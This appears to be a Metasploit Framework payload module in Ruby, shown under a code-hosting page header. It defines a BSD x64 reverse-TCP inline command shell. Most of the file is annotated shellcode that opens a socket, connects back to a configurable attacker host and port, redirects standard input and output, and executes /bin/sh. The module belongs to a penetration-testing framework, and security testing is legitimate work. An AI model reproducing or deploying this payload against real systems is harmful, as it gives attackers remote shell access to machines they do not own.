Brent Cook
79 lines
4.0 KiB
Ruby
79 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core/handler/reverse_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module MetasploitModule
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CachedSize = 81
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include Msf::Payload::Single
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include Msf::Payload::Bsd
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'BSD x64 Command Shell, Reverse TCP Inline',
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'Description' => 'Connect back to attacker and spawn a command shell',
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'Author' => 'Balazs Bucsay @xoreipeip <balazs.bucsay[-at-]rycon[-dot-]hu>',
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'References' => ['URL', 'https://github.com/earthquake/shellcodes/blob/master/x86_64_bsd_reverse_tcp.asm.c'],
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'License' => MSF_LICENSE,
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'Platform' => 'bsd',
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'Arch' => ARCH_X64,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShellUnix,
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'Payload' =>
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{
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'Offsets' =>
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{
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'LHOST' => [ 39, 'ADDR' ],
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'LPORT' => [ 37, 'n' ],
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},
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'Payload' =>
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"\x6a\x61" +# pushq $0x61 #
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"\x58" +# pop %rax #
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"\x99" +# cltd #
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"\x6a\x02" +# pushq $0x2 #
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"\x5f" +# pop %rdi #
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"\x6a\x01" +# pushq $0x1 #
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"\x5e" +# pop %rsi #
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"\x0f\x05" +# syscall #
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"\x48\x97" +# xchg %rax,%rdi #
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"\x04\x58" +# add $0x58,%al #
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"\x0f\x05" +# syscall #
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"\xff\xc6" +# inc %esi #
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"\x04\x59" +# add $0x59,%al #
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"\x0f\x05" +# syscall #
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"\xff\xce" +# dec %esi #
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"\xff\xce" +# dec %esi #
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"\x04\x58" +# add $0x58,%al #
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"\x0f\x05" +# syscall #
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"\x52" +# push %rdx #
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"\x48\xbb\x00\x02\x11" +# mov ... #
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"\x5c\x7f\x00\x00\x01" +# mov $0x100007f5c110200,%rbx #
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"\x53" +# push %rbx #
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"\x48\x89\xe6" +# mov %rsp,%rsi #
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"\x6a\x10" +# pushq $0x10 #
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"\x5a" +# pop %rdx #
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"\x66\x83\xc0\x62" +# add $0x62,%ax #
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"\x0f\x05" +# syscall #
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"\x99" +# cltd #
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"\x52" +# push %rdx #
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"\x48\xbf\x2f\x2f\x62" +# mov "//b" #
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"\x69\x6e\x2f\x73\x68" +# "in/sh", %rdi #
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"\x57" +# push %rdi #
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"\x48\x89\xe7" +# mov %rsp,%rdi #
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"\x52" +# push %rdx #
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"\x57" +# push %rdi #
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"\x48\x89\xe6" +# mov %rsp,%rsi #
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"\x04\x3b" +# add $0x3b,%al #
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"\x0f\x05" # syscall #
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}
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))
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end
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end
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